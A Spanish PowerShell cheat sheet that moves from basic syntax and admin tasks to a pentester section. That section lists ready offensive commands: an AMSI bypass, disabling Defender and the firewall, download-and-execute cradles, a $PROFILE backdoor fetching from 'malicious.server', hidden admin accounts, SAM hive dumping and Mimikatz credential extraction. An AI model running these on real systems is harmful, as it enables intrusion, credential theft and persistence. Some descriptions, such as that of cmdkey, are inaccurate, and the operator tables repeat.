Comandos PowerShell Windows
Paginas en las que hay mas informacion sobre esto:
URL = Guía PowerShell para Hackers
URL = Introducción a PowerShell
PowerShell es una herramienta poderosa en Windows que permite automatizar tareas, gestionar sistemas y, en el contexto del hacking ético, realizar auditorías y pruebas de penetración.
📜 Comandos útiles de PowerShell
Comando
Alias
Descripción
Get-Help Get-Command
(Ninguno)
Muestra información de ayuda sobre el comando Get-Command
, que enumera todos los comandos de PowerShell. Puedes reemplazar Get-Command
por cualquier otro comando para ver su ayuda.
Get-ChildItem
dir
, ls
, gci
Lista todos los archivos y carpetas en el directorio actual.
Get-Location
pwd
, gl
Muestra el directorio de trabajo actual.
Set-Location
cd
, chdir
, sl
Cambia el directorio de trabajo actual a una ubicación específica.
Get-Content
cat
, gc
, type
Muestra el contenido de un archivo en la ubicación especificada.
Copy-Item
copy
, cp
, cpi
Copia un archivo o carpeta de una ubicación a otra.
Remove-Item
del
, erase
, rd
, ri
, rm
, rmdir
Elimina los archivos o carpetas especificados.
Move-Item
mi
, move
, mv
Mueve un archivo o carpeta de una ubicación a otra.
New-Item
ni
Crea un nuevo archivo o carpeta.
Out-File
>
, >>
Envía la salida a un archivo. Se recomienda usar Out-File
al especificar parámetros.
Invoke-WebRequest
curl
, iwr
, wget
Descarga contenido de una página web en Internet.
Write-Output
echo
, write
Envía los objetos especificados a la canalización. Si es el último comando, muestra la salida en consola.
Clear-Host
cls
, clear
Limpia la consola.
📖 Sintaxis de PowerShell
PowerShell es una herramienta extremadamente poderosa con una gran cantidad de comandos. Comprender su sintaxis es esencial para aprovechar al máximo su potencial, especialmente al crear scripts reutilizables.
📌 Parámetros en PowerShell
Los parámetros son argumentos que permiten modificar el comportamiento de un comando o script. Permiten escribir scripts más flexibles y dinámicos.
📝 Ejemplo básico de sintaxis
Un comando con dos parámetros (uno con valor asignado y otro sin valor):
Do-Something -Parameter1 value1 -Parameter2
🔎 Para buscar todos los comandos que incluyen un parámetro específico (por ejemplo, ComputerName
):
Get-Help * -Parameter ComputerName
Esto lista todos los comandos que aceptan el parámetro -ComputerName
.
🛡️ Parámetros de mitigación de riesgos
PowerShell incluye algunos parámetros comunes que ayudan a reducir errores y riesgos al ejecutar comandos potencialmente peligrosos.
Parámetro
Descripción
Ejemplo
-Confirm
Solicita confirmación antes de ejecutar la acción.
Crear un archivo test.txt
:
ni test.txt -Confirm
-WhatIf
Muestra lo que haría el comando, sin ejecutarlo.
Simular la eliminación de test.txt
:
del test.txt -WhatIf
✅ Recomendación: Usa -WhatIf
antes de ejecutar comandos destructivos para prevenir errores.
⚠️ Buenas prácticas
📖 Usa
Get-Help <comando>
para consultar los parámetros disponibles en cualquier comando.🚧 Antes de correr scripts en sistemas críticos, prueba con
-WhatIf
y revisa el resultado.🛡️ Combina
-Confirm
con scripts automatizados para añadir una capa de seguridad interactiva.
🔗 Pipes en PowerShell
PowerShell utiliza el carácter de canalización |
para pasar la salida de un comando como entrada al siguiente, de manera similar a cómo funcionan las pipes en Bash y otros shells.
📜 Sintaxis básica
Command1 | Command2 | Command3
La salida de Command1
se envía como entrada a Command2
, y así sucesivamente.
📝 Ejemplo avanzado
Get-Service |
Where-Object -Property Status -EQ Running |
Select-Object Name, DisplayName, StartType |
Sort-Object -Property StartType, Name
🔎 Explicación paso a paso:
Get-Service
: obtiene una lista de todos los servicios de Windows.Where-Object
: filtra solo los servicios conStatus
igual aRunning
.Select-Object
: selecciona las columnasName
,DisplayName
yStartType
.Sort-Object
: ordena los resultados porStartType
yName
.
🛠️ Otros ejemplos de tuberías
Comando
Descripción
"plan_A.txt" | Rename-Item -NewName "plan_B.md"
Cambia el nombre del archivo plan_A.txt
a plan_B.md
.
Get-ChildItem | Select-Object basename | Sort-Object *
Lista los nombres de todos los archivos en el directorio actual y los ordena alfabéticamente.
🧱 Objetos en PowerShell
PowerShell está basado en objetos, no en texto plano como otros shells tradicionales. Esto significa que los comandos no solo devuelven texto, sino objetos completos con propiedades y métodos, similares a los de lenguajes orientados a objetos como C#, Java y Python.
📜 ¿Qué es un objeto?
Un objeto es un tipo de dato que contiene:
Propiedades: características o datos del objeto.
Métodos: funciones que se pueden ejecutar sobre el objeto.
En PowerShell puedes acceder a ellos con el operador punto (.
):
$miObjeto.Propiedad
$miObjeto.Metodo()
📝 Ejemplo práctico
🔍 Explorar un objeto con Get-Member
Get-Member
Get-Service -Name Fax | Get-Member
Get-Service -Name Fax
: obtiene el servicio llamado Fax como objeto.Get-Member
: lista todas las propiedades y métodos del objeto devuelto.
📖 Consultar una propiedad
(Get-Service -Name Fax).Status
Devuelve el estado del servicio Fax. Por ejemplo: Stopped
.
🧪 Ejecutar un método
(Get-Service -Name Fax).GetType()
Muestra que el objeto Fax es en realidad un objeto .NET
de tipo ServiceController
.
📝 Variables y Expresiones Regulares en PowerShell
PowerShell permite trabajar con variables y utilizar expresiones regulares (regex) para manipular y buscar datos de forma avanzada. Son conceptos clave para automatizar tareas y analizar información.
💾 Variables en PowerShell
📌 Comandos básicos para variables
New-Variable var1
Crear una nueva variable var1
sin definir su valor
Get-Variable my*
Enumera todas las variables en uso que comienzan con » my
*»
Remove-Variable bad_variable
Eliminar la variable llamada » bad_variable
»
$var = "string"
Asignar el valor » string
» a una variable$var
$a,$b = 0
Asigne el valor 0 a las variables $a
,$b
$a,$b,$c = 'a','b','c'
Asigne los caracteres 'a'
, 'b'
, 'c'
a variables con nombres respectivos
$a,$b = $b,$a
Intercambiar los valores de las variables $a
y$b
$var = [int]5
Forzar que la variable $var
esté fuertemente tipada y solo admita valores enteros
🔑 Variables especiales
Variable
Descripción
$HOME
Ruta al directorio de inicio del usuario.
$NULL
Representa un valor vacío o nulo.
$TRUE
Valor booleano VERDADERO.
$FALSE
Valor booleano FALSO.
$PID
Identificador de proceso (PID) del proceso de la sesión actual.
🔍 Expresiones Regulares (Regex) en PowerShell
Una expresión regular es un patrón de coincidencia de caracteres usado para buscar y manipular texto.
📜 Sintaxis básica de regex
[ ]
Caracteres permitidos, por ejemplo, [abcd]
significa'a'/'b'/'c'/'d'
[aeiou]
Carácter vocal único en inglés.
^
1. Úselo entre corchetes [ ]
para indicar exclusión
2. Para hacer coincidir el comienzo de una cadena
[^aeiou]
Carácter de consonante única en inglés.
$
Para hacer coincidir el final de una cadena
-
Úselo con corchetes [ ]
para indicar rangos de caracteres
[A-Z]
Caracteres alfabéticos en mayúsculas
[a-z]
Caracteres alfabéticos en minúscula
[0-9]
Caracteres numéricos
[ -~]
Todos los caracteres basados en ASCII (por lo tanto imprimibles)
\t
Pestaña
\n
Nueva línea
\r
Retorno de carro
.
Cualquier carácter excepto un \n
carácter de nueva línea ( ); comodín
*
Haga coincidir la expresión regular que tiene como prefijo cero o más veces.
+
Haga coincidir la expresión regular que tiene como prefijo una o más veces.
?
Haga coincidir la expresión regular con el prefijo cero o una vez.
{n}
Un símbolo de expresión regular debe coincidir exactamente n
con los tiempos.
{n,}
Un símbolo de expresión regular debe coincidir al menos n
veces.
{n,m}
Un símbolo de expresión regular debe coincidir entre n
y m
horas inclusive.
\
Escapar; Interprete los siguientes caracteres reservados para expresiones regulares como los caracteres literales correspondientes:[]().\^$|?*+{}
\d
dígito decimal
\D
Dígito no decimal, como hexadecimal
\w
Carácter alfanumérico y guión bajo (“ carácter de palabra ”)
\W
Carácter no palabra
\s
Carácter espacial
\S
Carácter no espacial
✅ Comparar cadenas con regex
Operador
Descripción
<string> -Match <regex>
Devuelve True
si la cadena coincide.
<string> -NotMatch <regex>
Devuelve True
si la cadena no coincide.
📝 Ejemplos
EXPRESIÓN REGULAR
CUERDAS QUE-MATCH
CUERDAS QUE HACEN-NOTMATCH
'Hello world'
'Hello world'
'Hello World'
'^Windows$'
'Windows'
'windows'
'[aeiou][^aeiou]'
'ah'
'lo'
'[a-z]'
'x'
'X'
'[a-z]+-?\d\D'
'server0F','x-8B'
'--AF'
'\w{1,3}\W'
'Hey!'
'Fast'
'.{8}'
'Break up'
'No'
'..\s\S{2,}'
'oh no'
'\n\nYes'
'\d\.\d{3}'
'1.618'
'3.14'
Operadores
PowerShell tiene muchos operadores . A continuación te presentamos los más utilizados.
En los ejemplos siguientes, las variables $a
y $b
tienen los valores 10 y 20, respectivamente. El símbolo →
indica el valor resultante e ⇔
indica equivalencia.
Operadores aritméticos:
+
Suma. Agrega valores a ambos lados del operador.
$a + $b → 30
-
Sustracción. Resta el operando de la derecha del operando de la izquierda.
$a - $b → -10
*
Multiplicación. Multiplica valores a ambos lados del operador.
$a * $b → 200
/
División. Divide el operando de la izquierda por el operando de la derecha.
$b / $a → 2
%
Módulo. Divide el operando de la izquierda por el operando de la derecha y devuelve el resto.
$b % $a → 0
Operadores de comparación:
eq
=
Igual
$a -eq $b → $false
ne
≠
Desigual
$a -ne $b → $true
gt
>
Mas grande que
$b -gt $a → $true
ge
≥
Mayor qué o igual a
$b -ge $a → $true
lt
<
Menos que
$b -lt $a → $false
le
≤
Menos que o igual a
$b -le $a → $false
Operadores de Asignación:
=
Asigne valores de los operandos del lado derecho al operando del lado izquierdo.
Asignar la suma de variables $a
y $b
a una nueva variable$c: $c = $a + $b
+=
Agregue el operando del lado derecho al operando izquierdo y asigne el resultado al operando izquierdo.
$c += $a ⇔ $c = $c + $a
-=
Resta el operando del lado derecho del operando izquierdo y asigna el resultado al operando del lado izquierdo.
$c -= $a ⇔ $c = $c - $a
Operadores logicos:
-and
Y lógico. Si ambos operandos son verdaderos/distintos de cero, entonces la condición se vuelve verdadera.
($a -and $b) → $true
-or
O lógico. Si alguno de los dos operandos es verdadero/distinto de cero, entonces la condición se vuelve verdadera.
($a -or 0) → $true
-not, !
NO lógico. Negación de una expresión booleana determinada.
!($b -eq 20) → $false
-xor
O exclusivo lógico. Si solo uno de los dos operandos es verdadero/distinto de cero, entonces la condición se vuelve verdadera.
($a -xor $b) → $false
Operadores de redireccionamiento:
>
Envíe la salida al archivo o dispositivo de salida especificado.
>>
Adjunte la salida al archivo o dispositivo de salida especificado.
>&1
Redirige el flujo especificado al flujo de salida estándar.
Al agregar un prefijo numérico a los operadores de redirección de PowerShell, los operadores de redirección le permiten enviar tipos específicos de salida de comando a varios destinos:
*
Toda la salida
Redirigir todas las transmisiones aout.txt: Do-Something *> out.txt
1
Salida estándar (esta es la secuencia predeterminada si omite el prefijo de redirección).
Agregar salida estándar asuccess.txt: Do-Something 1>> success.txt
2
Error estándar
Redirige el error estándar a la salida estándar, que se envía a un archivo llamadodir.log: dir 'C:\', 'fakepath' 2>&1 > .\dir.log
3
Mensajes de advertencia
Enviar salida de advertencia awarning.txt: Do-Something 3> warning.txt
4
Salida detallada
Agregue verbose.txt
con la salida detallada:
Do-Something 4>> verbose.txt
5
Mensajes de depuración
Enviar salida de depuración al error estándar:
Do-Something 5>&1
6
Información (PowerShell 5.0+)
Suprimir toda la salida de información:
Do-Something 6>$null
Operadores de coincidencia y expresión regular (regex):
-Replace
Reemplazar cadenas que coincidan con un patrón de expresiones regulares
Producción“i like ! !”: $toy = "i like this toy"; $work = $toy -Replace "toy|this","!"; $work
-Like, -NotLike
Comprobar si una cadena coincide con un patrón comodín (o no)
Genere todos los archivos *.bat en el directorio de trabajo actual:
Get-ChildItem | Where-Object {$_.name -Like "*.bat"}
Genere todos los demás archivos:
Get-ChildItem | Where-Object {$_.name -NotLike "*.bat"}
-Match, -NotMatch
Compruebe si una cadena coincide con un patrón de expresiones regulares (o no)
Los siguientes ejemplos se evalúan como VERDADERO:
'blog' -Match 'b[^aeiou][aeiuo]g' 'blog' -NotMatch 'b\d\wg'
-Contains, -NotContains
Comprobar si una colección contiene un valor (o no)
Los siguientes ejemplos se evalúan como VERDADERO:
@("Apple","Banana","Orange") -Contains "Banana" @("Au","Ag","Cu") -NotContains "Gold"
-In, -NotIn
Comprobar si un valor está (no) en una colección
Los siguientes ejemplos se evalúan como VERDADERO:
"blue" -In @("red", "green", "blue") "blue" -NotIn @("magenta", "cyan", yellow")
-Replace
Reemplazar cadenas que coincidan con un patrón de expresiones regulares
Producción“i like ! !”: $toy = "i like this toy"; $work = $toy -Replace "toy|this","!"; $work
-Like, -NotLike
Comprobar si una cadena coincide con un patrón comodín (o no)
Genere todos los archivos *.bat en el directorio de trabajo actual:
Get-ChildItem | Where-Object {$_.name -Like "*.bat"}
Genere todos los demás archivos:
Get-ChildItem | Where-Object {$_.name -NotLike "*.bat"}
-Match, -NotMatch
Compruebe si una cadena coincide con un patrón de expresiones regulares (o no)
Los siguientes ejemplos se evalúan como VERDADERO:
'blog' -Match 'b[^aeiou][aeiuo]g' 'blog' -NotMatch 'b\d\wg'
-Contains, -NotContains
Comprobar si una colección contiene un valor (o no)
Los siguientes ejemplos se evalúan como VERDADERO:
@("Apple","Banana","Orange") -Contains "Banana" @("Au","Ag","Cu") -NotContains "Gold"
-In, -NotIn
Comprobar si un valor está (no) en una colección
Los siguientes ejemplos se evalúan como VERDADERO:
"blue" -In @("red", "green", "blue") "blue" -NotIn @("magenta", "cyan", yellow")
Operadores varios:
()
Agrupamiento; anular la precedencia del operador en expresiones
Calcular esta expresión te da el valor 4:
(1+1)*2
$()
Obtener el resultado de una o más declaraciones
Obtenga la fecha y hora de hoy:
"Today is $(Get-Date)"
@()
Obtener los resultados de una o más declaraciones en forma de matrices.
Obtenga solo nombres de archivos en el directorio de trabajo actual:
@(Get-ChildItem | Select-Object Name)
[]
Convierte objetos al tipo específico
Comprueba que hay 31 días entre el 20 de enero y el 20 de febrero de 1988:
[DateTime] '2/20/88' - [DateTime] '1/20/88' -eq [TimeSpan] '31'# True
&
Ejecute un comando/canalización como un trabajo en segundo plano de Windows Powershell (PowerShell 6.0+)
Get-Process -Name pwsh &
📝 Tablas Hash, Comentarios y Control de Flujo en PowerShell
En PowerShell puedes usar tablas hash, comentarios y estructuras de control de flujo para crear scripts más estructurados y potentes.
🗂️ Tablas Hash en PowerShell
Una tabla hash (también llamada diccionario o matriz asociativa) almacena datos como pares clave-valor.
📌 Sintaxis y ejemplos
Sintaxis
Descripción
Ejemplo
@{<key> = <value>; [<key> = <value>] ...}
Crea una tabla hash.
@{Number = 1; Shape = "Square"; Color = "Blue"}
[ordered]@{<key> = <value>; ...}
Tabla hash ordenada.
[ordered]@{Number=1; Shape="Square"}
$hash.<key> = <value>
Asigna un valor a una clave en $hash
.
$hash.id = 100
$hash["<key>"] = "<value>"
Otra forma de asignar valor a una clave.
$hash["Name"] = "Alice"
$hash.Add("<key>", "<value>")
Agrega un par clave-valor a $hash
.
$hash.Add("Time", "Now")
$hash.Remove(<key>)
Elimina un par clave-valor de $hash
.
$hash.Remove("Time")
$hash.<key>
Obtiene el valor de una clave.
$hash.id # 100
🗒️ Comentarios en PowerShell
Los comentarios ayudan a documentar y organizar el código.
Símbolo
Descripción
Ejemplo
#
Comentario de una línea.
# Esto es un comentario.
<# ... #>
Comentario de varias líneas.
<# Esto es un bloque de comentario. #>
`
Escapar caracteres especiales.
"`"Hello`""
`t
Tabulación.
'hello
tworld'`
`n
Nueva línea.
'hello
nworld'`
`
Continuación de línea.
ni test.txt ` -WhatIf
🔄 Control de flujo en PowerShell
📜 Bucles
Sintaxis
Descripción
Ejemplo
for (<Init>; <Condition>; <Repeat>) { <Statements> }
Ejecuta un bucle mientras se cumpla la condición.
for ($i=1; $i -le 10; $i++) { Write-Host $i }
foreach ($item in $collection) { <Statements> }
Itera sobre cada elemento de una colección.
`Get-ChildItem
while (<Condition>) { <Statements> }
Ejecuta mientras la condición sea verdadera.
while($a -ne 3){ $a++; Write-Host $a }
🧠 Condicionales
Sintaxis
Descripción
Ejemplo
if (<Test1>) { <Statements1> } [elseif (<Test2>) { <Statements2> }] [else { <Statements3> }]
Ejecuta un bloque de código según condiciones.
if ($a -gt 2) { Write-Host "El valor $a es mayor que 2." } elseif ($a -eq 2) { Write-Host "El valor $a es igual a 2." } else { Write-Host "Es menor que 2." }
🛠️ PowerShell para Administradores de Sistemas
PowerShell es una herramienta esencial para automatizar tareas administrativas, como gestión de usuarios, copias de seguridad, monitorización y administración remota. Combinado con el Programador de tareas de Windows, permite realizar trabajos repetitivos de forma eficiente.
🖇️ Conexión y administración de red
Comando
Descripción
New-PSDrive –Name "L" –PSProvider FileSystem –Root "\\path\to\data" –Persist
Configura una unidad de red. Usa una letra mayúscula no utilizada (no C:) como -Name
y apunta -Root
a una ruta de red válida.
Enable-PSRemoting
Habilita la comunicación remota de PowerShell en una computadora.
Invoke-Command -ComputerName pc01,pc02,pc03 -ScriptBlock {cmd /c c:\path\to\setup.exe /config C:\path\to\config.xml}
Envía actualizaciones de software a una red de computadoras (pc01, pc02, pc03).
Enable-NetFirewallRule
Habilita una regla de firewall previamente deshabilitada.
👤 Gestión de usuarios
Comando
Descripción
$Password = Read-Host -AsSecureString
Solicita una contraseña y la guarda como una cadena segura en la variable $Password
.
New-LocalUser "User03" -Password $Password -FullName "Third User" -Description "Description of this account."
Crea un usuario local con la contraseña almacenada, nombre completo y descripción.
🔄 Monitorización y procesos
Comando
Descripción
Get-Service
Muestra los servicios en ejecución y detenidos de la computadora.
Get-Process
Lista los procesos en una computadora local.
While(1) { $p = get-counter '\Process(*)\% Processor Time'; cls; $p.CounterSamples | sort -desc CookedValue | select -f 15 | ft -a}
Supervisa procesos en ejecución y muestra el uso de CPU como top
en Linux.
Start-Job
Inicia un trabajo en segundo plano localmente.
Receive-Job
Obtiene los resultados del trabajo en segundo plano.
New-PSSession
Crea una conexión persistente a una computadora local o remota.
Get-PSSession
Obtiene las sesiones activas de PowerShell.
Start-Sleep 10
Pausa la ejecución durante 10 segundos.
💾 Copias de seguridad y archivos
Comando
Descripción
Get-ChildItem c:\data -r | % {Copy-Item -Path $_.FullName -Destination \\path\to\backup}
Crea una copia de seguridad remota del directorio c:\data
.
? {!($_.PsIsContainer) -AND $_.LastWriteTime -gt (Get-Date).date}
Filtra solo los archivos modificados para realizar una copia incremental.
ConvertTo-Html
Convierte objetos de .NET Framework en páginas web HTML.
🌐 Comandos útiles para redes y APIs
Comando
Descripción
Invoke-RestMethod
Envía una solicitud HTTP o HTTPS a un servicio web RESTful.
Get-Hotfix
Busca parches o actualizaciones de software instalados.
Get-Command *-Service
Lista todos los comandos con el sufijo -Service
.
🕵️ PowerShell para Pentesters
“Un gran poder conlleva una gran responsabilidad.” PowerShell es una herramienta poderosa tanto para administradores como para atacantes. Por ello, todo pentester competente debe dominarla para auditar, identificar y explotar vulnerabilidades de manera ética.
🚨 Modificando políticas de ejecución
Comando
Descripción
Set-ExecutionPolicy -ExecutionPolicy Bypass
Permite ejecutar cualquier comando/script de PowerShell sin restricciones ni advertencias.
⚠ Mito: Cambiar la ExecutionPolicy protege contra malware. ✅ Hecho: Es solo una “valla” autoimpuesta; no protege una máquina ya comprometida.
🛡️ Evadiendo AMSI y antivirus
Comando
Descripción
Set-MpPreference -DisableIOAVProtection $true
Desactiva la protección de entrada y salida de AMSI. Requiere ofuscación para evitar detección.
Set-MpPreference -DisableRealTimeMonitoring $true
Apaga Windows Defender. También necesita ser ofuscado para ejecutar sin ser detectado.
🔥 Técnicas de evasión AMSI: • Ofuscar scripts (variables ficticias, codificación Base64). • Ejecutar comandos línea por línea para evadir firmas.
☁️ Descarga y ejecución en memoria
Comando
Descripción
Import-Module /path/to/module
Importa un módulo desde una ruta específica.
iex (New-Object Net.WebClient).DownloadString('https://[webserver_ip]/payload.ps1')
Descarga y ejecuta un script payload.ps1
directamente en memoria (RAM).
iex (iwr http://[webserver_ip]/some_script.ps1 -UseBasicParsing)
Descarga un script some_script.ps1
y lo ejecuta desde RAM.
iex (New-Object Net.WebClient).DownloadString('http://localhost/powerview.ps1'); Get-NetComputer
Carga y ejecuta funciones de PowerView desde RAM (ejemplo: enumerar computadoras de red con Get-NetComputer
).
🔎 Comandos de enumeración
Comando
Descripción
net accounts
Obtiene la política de contraseñas de la máquina.
whoami /priv
Lista los privilegios del usuario actual.
ipconfig /all
Enumera todas las interfaces de red, direcciones IP y DNS configurados.
Get-LocalUser | Select *
Lista todos los usuarios locales de la máquina.
Get-NetRoute
Muestra la tabla de enrutamiento IP.
Get-Command
Lista todos los comandos de PowerShell disponibles.
📦 Herramientas recomendadas para Pentesters
Active Directory: Manipulación y auditoría de entornos AD.
PowerView: Enumeración y explotación de Active Directory.
PowerUp: Escalación de privilegios en sistemas Windows.
Mimikatz: Extracción de credenciales y hashes.
Kekeo: Manipulación de tickets Kerberos.
BONUS (Active Directory)
Esta sección cubre técnicas esenciales para reconocimiento del entorno, post-explotación y recolección de información usando PowerShell. ⚠️ Úsalo únicamente en contextos legales y autorizados (como auditorías o entornos de laboratorio).
📄 Volcado de salida a archivos o HTML
Comando
Descripción
Out-File
Redirige la salida de un comando a un archivo.
ConvertTo-Html
Convierte la salida a formato HTML para informes.
📜 Historial de comandos
Comando
Descripción
Get-History
Muestra el historial completo de comandos.
Get-History -Count <n>
Muestra los últimos n
comandos usados.
🌐 Reconocimiento del entorno
🔧 Unidades y variables del entorno
Comando
Descripción
Get-PSDrive
Lista todos los proveedores y unidades (ej. Env:
, HKLM:
).
Get-Item Env:
Muestra todas las variables de entorno del sistema.
🖥️ Ejecución remota
Comando
Descripción
Invoke-Command -ComputerName <host> -ScriptBlock { ... }
Ejecuta comandos en sistemas remotos. Fundamental para pivoting y control post-explotación.
🕵️ Post-Explotación y Recolección de Información
👥 Enumeración de usuarios
Comando
Descripción
Get-LocalUser
Lista todos los usuarios locales del sistema.
Get-LocalGroupMember -Group "Administrators"
Muestra los miembros del grupo de administradores.
💻 Sesiones activas y conexiones
Comando
Descripción
qwinsta
Lista las sesiones activas en el sistema actual.
Get-NetTCPConnection
Muestra conexiones de red activas y sus puertos.
🔍 Búsqueda de archivos interesantes
Comando
Descripción
Get-ChildItem -Recurse -Include *.kdbx,*.txt,*.xml -Path C:\Users
Busca archivos como contraseñas, config. o bases de datos KeePass.
🧗♂️ PowerShell para Pentesters: Escalada, Persistencia y Movimiento Lateral
Este módulo reúne comandos clave de PowerShell para escenarios de post-explotación avanzada, escalada de privilegios, evasión, persistencia y movimiento lateral en entornos de red.
🔐 Escalada de Privilegios
Comando
Descripción
Invoke-TokenManipulation -ImpersonateUser -Username "Administrador"
Impersonar el token de un usuario como Administrador.
🔄 Movimiento Lateral
Comando
Descripción
Invoke-Command -ComputerName SERVIDOR1 -ScriptBlock { Get-Service }
Ejecuta comandos en otro sistema remoto.
Enter-PSSession -ComputerName SERVIDOR1 -Credential (Get-Credential)
Sesión interactiva remota con credenciales.
🛡️ Evasión y Persistencia
🔍 Ofuscación
Comando
Descripción
powershell.exe -EncodedCommand <payload_base64>
Ejecutar comandos ofuscados con Base64.
powershell -e <payload_base64>
Variante corta de ejecución codificada.
👤 Crear usuario oculto
net user backdoor Passw0rd! /add
net localgroup Administrators backdoor /add
Crea un usuario con privilegios elevados.
❌ Deshabilitar antivirus temporalmente
Set-MpPreference -DisableRealtimeMonitoring $true
Desactiva Windows Defender de forma temporal.
💾 Extraer hashes del sistema
reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save
Guarda claves del registro para dump posterior de hashes.
🔑 Buscar credenciales en memoria
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Usa Mimikatz para extraer contraseñas desde la RAM.
🌐 Enumeración y Pivoting en la Red
Comando
Descripción
Invoke-Command -ComputerName TARGET -ScriptBlock { net view \\TARGET }
Lista recursos compartidos de una máquina.
Test-NetConnection -ComputerName 192.168.1.10 -Port 3389
Verifica puertos abiertos (ej. RDP).
Get-NetTCPConnection | Select-Object LocalAddress,RemoteAddress,State,OwningProcess
Enumera conexiones y procesos asociados.
🧬 Persistencia
Comando
Descripción
schtasks /create /sc minute /mo 5 /tn "Updater" /tr "powershell.exe -WindowStyle Hidden -File C:\backdoor.ps1"
Crea una tarea programada persistente cada 5 min (oculta).
Add-Content $PROFILE 'IEX (New-Object Net.WebClient).DownloadString("http://malicious.server/payload.ps1")'
Agrega backdoor persistente al perfil de PowerShell del usuario actual.
🧱 Técnicas de Evasión (Bypass AMSI)
🛡️ Bypass AMSI en tiempo de ejecución
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'). GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Evita que AMSI intercepte scripts sospechosos.
🛠️ Comandos Prácticos para Dominar PowerShell
Una recopilación de comandos avanzados y prácticos para recolección de información, post-explotación, evasión, persistencia y automatización con PowerShell.
📡 Recolección de Información Avanzada
Comando
Descripción
Get-NetIPConfiguration
Muestra la configuración de red actual.
Get-ADUser -Filter * | Select-Object Name, SamAccountName
Lista todos los usuarios del dominio.
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10
Muestra los 10 procesos que más consumen CPU.
Select-String -Path "C:\Users\*\Documents\*.txt" -Pattern "password|login|key"
Busca palabras clave en archivos de texto.
🛡️ Post-Explotación y Escalada
Comando
Descripción
Get-WmiObject win32_service | Where-Object { $_.StartName -notlike "NT AUTHORITY\*" -and $_.StartName -notlike "LocalSystem" }
Lista servicios potencialmente vulnerables a escalada.
Get-NetTCPConnection | Select-Object LocalAddress,RemoteAddress,RemotePort,State
Enumera todas las conexiones de red activas.
cmdkey /list
Exporta todas las contraseñas guardadas en Internet Explorer.
🕵️♂️ Evasión y Persistencia
🔄 Bypass de AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
🧬 Ofuscar un payload en Base64
$command = 'Get-Process'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encoded
🤖 Automatización Útil
Comando
Descripción
Get-LocalUser | Export-Csv -Path C:\Temp\users.csv
Exporta usuarios locales a un archivo CSV.
Get-LocalGroup | Export-Csv -Path C:\Temp\groups.csv
Exporta grupos locales a un archivo CSV.
Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntiVirusProduct
Detecta antivirus instalado en el sistema.
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Desactiva el Firewall de Windows.
💻 Información del Sistema y Gestión de Usuarios
Comando
Descripción
Get-ComputerInfo
Muestra información detallada del sistema.
Get-LocalUser
Lista usuarios locales.
Get-LocalUser -Name "NombreUsuario" | Format-List *
Muestra información completa de un usuario local.
Get-LocalGroup
Lista los grupos locales.
Get-LocalGroupMember -Group "Administradores"
Lista miembros del grupo "Administradores".
🖥️ Programas y Servicios
Comando
Descripción
Get-WmiObject -Class Win32_Product | Select-Object Name, Version
Lista programas instalados.
Get-Service | Where-Object {$_.Status -eq "Running"} | Sort-Object DisplayName
Servicios activos ordenados por nombre.
Get-Service | Where-Object {$_.StartType -eq "Automatic"}
Lista servicios configurados para inicio automático.
🔌 Red y Comunicaciones
Comando
Descripción
Get-NetIPAddress
Muestra configuración de IPs en la máquina.
Get-NetRoute
Lista las rutas de red configuradas.
Get-NetTCPConnection | Sort-Object LocalPort
Enumera conexiones y puertos abiertos ordenados.
Test-Connection google.com -Count 4
Realiza ping a un dominio.
Test-NetConnection -ComputerName google.com -Port 443
Prueba la conectividad a un puerto específico.
netsh wlan show profiles
Lista las redes WiFi guardadas.
netsh wlan show profile name="MiWiFi" key=clear
Muestra la contraseña de una red WiFi guardada.
📂 Post-explotación en Equipos Standalone
Comando
Descripción
Get-ChildItem -Path C:\ -Include *.txt,*.xml,*.ini -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password|clave|secret|login"
Busca archivos con posibles credenciales o datos sensibles.
cmdkey /list
Exporta contraseñas guardadas (solo IE/Edge clásico).
Get-Process | Where-Object {$_.Path -like "*System32*"} | Select-Object Name,Id,Path
Lista procesos ejecutándose con privilegios elevados.
net user hacker Password123! /add
Crea un usuario local llamado hacker
.
net localgroup Administradores hacker /add
Añade el usuario hacker
al grupo de administradores.
🔒 Hardening y Defensa (Blue Team)
Comando
Descripción
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
Activa el Firewall de Windows.
Install-WindowsUpdate -AcceptAll -AutoReboot
Instala actualizaciones pendientes y reinicia si es necesario.
Get-HotFix | Sort-Object InstalledOn -Descending
Lista actualizaciones instaladas ordenadas por fecha.
Get-LocalUser | Where-Object {$_.PasswordExpires -eq $false}
Muestra usuarios con contraseñas que nunca expiran.
Last updated